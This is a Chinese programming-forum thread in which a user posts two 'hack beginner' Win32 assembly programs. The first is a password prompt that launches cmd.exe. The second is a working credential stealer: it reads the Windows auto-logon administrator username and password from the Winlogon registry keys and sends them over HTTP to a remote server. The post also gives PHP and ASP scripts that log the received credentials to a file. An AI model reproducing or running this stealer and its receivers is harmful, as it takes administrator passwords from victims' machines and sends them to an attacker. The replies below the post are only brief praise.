| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 4294 人关注过本帖, 2 人收藏
标题:偶写的两个hack编程入门程序(win32汇编)
只看楼主 加入收藏
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
结帖率:100%
收藏(2)
 问题点数:0 回复次数:7 
偶写的两个hack编程入门程序(win32汇编)
*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国 https://www.bccn.net
*/ 作者: zklhp   E-mail:zklhp@  QQ:493165744
*/ 时间: 2008-7-11 编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------


在网上看到两个 hack编程入门的程序 用汇编写了一下 贴出来请各位指点一下

第一个

功能:程序运行后提示输入对话框输入一个密码
密码正确运行CMD程序,密码不正确继续运行!
文件越小越好 提示使用winmain函数 动态创建文本窗体 处理按键消息
参考delphi 7代码:
program Project1;
uses
  SysUtils,  Windows,  Dialogs  ;
{$R *.res}
begin  
  if mystr=inputbox('please input pass','what is password?','') then
  begin
    WinExec(PChar('cmd.exe'), SW_SHOWDEFAULT);
  end;
end.

既然要小 就得用汇编啦~~



;MASMPlus 代码模板 - 以对话框做为主窗口的程序
;*********************************************************
;为了让文件更小  
;进行了快合并(貌似.rsrc不能合 呵呵)
;字符串直接放在 .code 里
;对齐是32(在偶的xp上可以执行的)
;/ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text  
;by zklhp   Email:zklhp@
;*********************************************************
.386
.Model Flat, StdCall
Option Casemap :None

Include windows.inc
Include user32.inc
Include kernel32.inc
;Include gdi32.inc
include Dialog.inc

;includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm
    
    DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
    

.CODE

    szPass db 'enter',0  
    szCmd db 'cmd.exe',0
    szError db '密码错误,正确的是 enter',0
    
    hInstance dd ?
    szBuffer db 16d dup(?)
    
START:
    invoke GetModuleHandle,NULL
    mov hInstance,eax
    invoke DialogBoxParam,hInstance,IDD_MAIN,0,offset DlgProc,0
    invoke ExitProcess,0

DlgProc proc hWnd,uMsg,wParam,lParam
    .if uMsg==WM_INITDIALOG
        invoke LoadIcon,hInstance,100
        invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax
        invoke RtlZeroMemory,offset szBuffer,16d
        invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_LIMITTEXT,15d,NULL
        invoke SetDlgItemText,hWnd,IDC_EDT1,addr szBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        and eax,0ffffh
        .if eax==IDOK
            invoke SendMessage,hWnd,WM_COMMAND,1003d,0
        .elseif eax==IDCANCEL
            invoke SendMessage,hWnd,WM_CLOSE,0,0
        .elseif eax==IDC_EXIT
            invoke SendMessage,hWnd,WM_CLOSE,0,0
        .elseif eax==IDC_OK
            invoke GetDlgItemText,hWnd,IDC_EDT1,addr szBuffer,15d
            .if eax > 0
                invoke lstrcmp,offset szBuffer,offset szPass
                .if eax==0
                    invoke WinExec,offset szCmd,SW_NORMAL
                    invoke SendMessage,hWnd,WM_INITDIALOG,0,0
                .else
                    invoke MessageBox,hWnd,offset szError,0,0
                    invoke SendMessage,hWnd,WM_INITDIALOG,0,0
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,wParam
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
DlgProc endp

END START

第一个很简单 第二个比第一个麻烦点

功能:读取windows xp系统里自动登录的管理员用户名和密码,并发送到http://
接收参数?username=username&password=password
语言:不限制
程序越小越好提示:自动登陆的注册表设置是这样的:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
“AutoAdminLogon”,值设为“1”字符串值“DefaultPassword”,登录时的密码,字符串值:“DefaultUserName”,用户名

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
xp的
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
这是2003的



post数据接收文件PHP代码
<?
    $username = $_POST[username];
    $password = $_POST[password];    
    
    if(($username!="")&&($password!=""))
    {
        file_put_contents("pass.txt","username:$username;password:$password\n\r",FILE_APPEND);
    }
?>

post数据接收文件ASP代码
<%
dim username,password
username=request("username")
password=request("password")
if username<>"" and password<>"" then
set myfso=server.CreateObject("Scripting.FileSystemObject")
set mytxt=myfso.OpenTextFile(server.mappath("2.txt"),8,true)
mytxt.WriteLine("username:"+username+",password:"+password)
mytxt.close
end if
%>



;MASMPlus 代码模板 - 以对话框做为主窗口的程序

;*********************************************************

;和上一个一样  /ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text
;by zklhp   Email:zklhp@
;*********************************************************

.386
.Model Flat, StdCall
Option Casemap :None

Include windows.inc
Include user32.inc
Include kernel32.inc
;Include gdi32.inc
include WS2_32.inc
include Advapi32.inc

includelib Advapi32.lib
includelib WS2_32.lib
;includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm

.CODE

;为节省空间 数据放在代码段里

szUserName db 32 dup(0)
szPassword db 32 dup(0)

szFormat db 'POST /hack.php?username=%s&password=%s HTTP/1.1',0dh,0ah,0
szBuf db 'Accept: */*',0dh,0ah,\
            'Accept-Language: zh-cn',0dh,0ah,\
            'Accept-Encoding: gzip, deflate',0dh,0ah,\
            'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0dh,0ah,\
            'Host: ',0dh,0ah,\
            'Connection: Keep-Alive',0dh,0ah,0

szHostName db '',0

szKey_2003 db 'Software\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szKey_xp db 'Software\Microsoft\Windows\CurrentVersion\Winlogon',0
szKeyName db 'DefaultUserName',0
szKeyPass db 'DefaultPassword',0

_RegQueryValue proc _lpszKey,_lpszValueName,_lpszValue,_lpdwSize,_lpdwType
    local @hKey,@dwReturn
    mov   @dwReturn,-1
    invoke  RegOpenKeyEx,HKEY_LOCAL_MACHINE,_lpszKey,NULL,KEY_QUERY_VALUE,addr @hKey
    .if   eax == ERROR_SUCCESS
        invoke  RegQueryValueEx,@hKey,_lpszValueName,NULL,_lpdwType,_lpszValue,_lpdwSize
        mov   @dwReturn,eax
         invoke  RegCloseKey,@hKey
    .endif
    mov   eax,@dwReturn
    ret
_RegQueryValue  endp

_Send proc uses edi esi ebx ,_lpUserName,_lpPassword

    local @stWsa:WSADATA,@stSin:sockaddr_in,@hSocket:DWORD
    local @szBuffer[300h]:BYTE ;放在堆栈里
    invoke RtlZeroMemory,addr @stWsa,sizeof @stWsa
    invoke RtlZeroMemory,addr @stSin,sizeof @stSin
    invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer

    invoke wsprintf,addr @szBuffer,offset szFormat,_lpUserName,_lpPassword
    invoke lstrcat,addr @szBuffer,offset szBuf

    invoke WSAStartup, 0002h, addr @stWsa
    invoke socket, AF_INET, SOCK_STREAM, 0
    .if eax != INVALID_SOCKET
        mov @hSocket, eax
        mov @stSin.sin_family,AF_INET
        invoke htons,80
        mov @stSin.sin_port,ax
        invoke gethostbyname,addr szHostName
        .if eax
            mov eax, [eax + hostent.h_list]
            mov eax, [eax]
            mov eax, [eax]
            mov @stSin.sin_addr, eax
        .endif
        invoke connect,@hSocket,addr @stSin,sizeof @stSin
        invoke lstrlen,addr @szBuffer
        invoke send,@hSocket,addr @szBuffer,eax,0
        invoke closesocket,@hSocket
    .endif
    invoke WSACleanup
    ret

_Send endp
    
START:
    ;为节省空间  在堆栈里放数据(貌似省不了多少……)
    mov eax,32
    push eax
    push eax
    mov ebx,esp
    lea edi,[esp+4h] ;ebx edi edi 会被保护 一般不会变的

    ;为了使程序简化 就不判断操作系统的版本了 呵呵
    invoke _RegQueryValue,offset szKey_2003,offset szKeyName,offset szUserName,ebx,edi
    mov ecx,[ebx]
     ;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发
    .if eax == ERROR_SUCCESS && ecx != 1
        invoke _RegQueryValue,offset szKey_2003,offset szKeyPass,offset szPassword,ebx,edi
        mov ecx,[ebx]
        .if eax == ERROR_SUCCESS && ecx != 1
            ;又有帐号 又有密码  发送!
            ;int 3h
            invoke _Send,offset szUserName,offset szPassword
            jmp @Exit
        .endif
    .endif

    invoke _RegQueryValue,offset szKey_xp,offset szKeyName,offset szUserName,ebx,edi
    mov ecx,[ebx]
     ;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发
    .if eax == ERROR_SUCCESS && ecx != 1
        invoke _RegQueryValue,offset szKey_xp,offset szKeyPass,offset szPassword,ebx,edi
        mov ecx,[ebx]
        .if eax == ERROR_SUCCESS && ecx != 1
            ;又有帐号 又有密码  发送!
            invoke _Send,offset szUserName,offset szPassword
            jmp @Exit
        .endif
    .endif

@Exit:
    ;恢复堆栈 退出
    pop eax
    pop eax
    invoke ExitProcess,0

END START


就是第二个没法验证对错 还望各位高手指点  

两个程序都是用masmplus写的 在偶的xp上运行正常

Project.rar (11.12 KB)


[[it] 本帖最后由 zklhp 于 2008-8-6 13:52 编辑 [/it]]
搜索更多相关主题的帖子: hack 入门 汇编 对话框 
2008-07-11 23:28
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
貌似上主页了  自己顶下吧
2008-07-12 22:21
ONEPROBLEM
Rank: 6Rank: 6
来 自:广西 南宁
等 级:贵宾
威 望:21
帖 子:1569
专家分:349
注 册:2008-7-11
收藏
得分:0 
呵呵~~好东西呀。把它给下了,慢慢琢磨 ~~~
2008-07-13 23:08
woami66
Rank: 1
等 级:新手上路
帖 子:40
专家分:0
注 册:2008-2-29
收藏
得分:0 
支持一下!!!!
2008-07-14 13:22
小勇12
Rank: 1
等 级:新手上路
帖 子:36
专家分:1
注 册:2008-10-21
收藏
得分:0 
强,支持一下
2008-10-24 00:12
shijiheima
Rank: 1
等 级:新手上路
帖 子:91
专家分:0
注 册:2008-11-9
收藏
得分:0 
高手啊!!汇编这块人气没有上来!!
2008-11-12 21:38
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
[bo][un]shijiheima[/un] 在 2008-11-12 21:38 的发言:[/bo]

高手啊!!汇编这块人气没有上来!!


没办法 汇编本来就是“弱势”语言……
2008-11-13 13:06
快速回复:偶写的两个hack编程入门程序(win32汇编)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.019200 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved